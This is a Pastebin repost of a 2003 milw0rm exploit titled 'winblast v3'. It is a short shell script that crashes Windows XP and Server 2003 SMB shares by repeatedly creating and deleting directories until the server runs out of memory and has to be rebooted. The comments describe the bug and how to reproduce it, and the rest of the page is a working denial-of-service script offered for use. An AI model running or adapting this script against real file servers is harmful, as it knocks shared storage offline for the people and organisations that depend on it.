Advertisement
FlyFar

Microsoft Windows XP/2003 - Samba Share Resource Exhaustion (Denial of Service)

Mar 15th, 2024
923
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.47 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. # winblast v3 - DoS on WinXP, Win2003Srv
  3. # 2003-12-04 Steve Ladjabi
  4. #
  5. # I've encountered a strange problem mounting a Windows server share.
  6. # My setup: Debian Linux, smbmount 3.0.0beta2 and Windows 2003 Server.
  7. #
  8. # When the client creates and deletes a lot of files on the server, the
  9. # server suddenly ceases serving, i.e. you can not access files nor list
  10. # directory contents any more.
  11. # Example:
  12. # knoppix:/mnt # ll /mnt/test
  13. # ls: /mnt/test: Cannot allocate memory
  14. #
  15. # The only way to get the server working again is to reboot it. Rebooting
  16. # the client does not help.
  17. #
  18. # If you want to try for yourself, check this shell script. The script will
  19. # create 1000 directories and then takes turns deleting and re-creating
  20. # them. There will be no more than those 1000 directories at any time.
  21. # After having created (and deleted) 3.5 millions directories the server
  22. # denies access to the share.
  23.  
  24.  
  25. count=0
  26.  
  27. # using 'pathcount' directories
  28. pathcount=1000
  29.  
  30. echo running \'winblast v3\' with $pathcount files in loop ...
  31.  
  32. while [ 1 ]; do
  33. p=$((pathcount*2-1))
  34. stop=$((pathcount-1))
  35. while [ "$p" != "$stop" ]; do
  36. dirname=wbst$p
  37. # delete old directory if it exists and exit on any error
  38. if [ -d $dirname ]; then
  39. rmdir $dirname || exit 3
  40. fi;
  41.  
  42. # generating directory and exit on any error
  43. mkdir $dirname || exit 1
  44. p=$((p-1))
  45. count=$((count+1))
  46. done;
  47. echo $count directories generated ...
  48. done;
  49. #-- end --
  50.  
  51.  
  52.  
  53. # milw0rm.com [2004-01-25]
  54.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement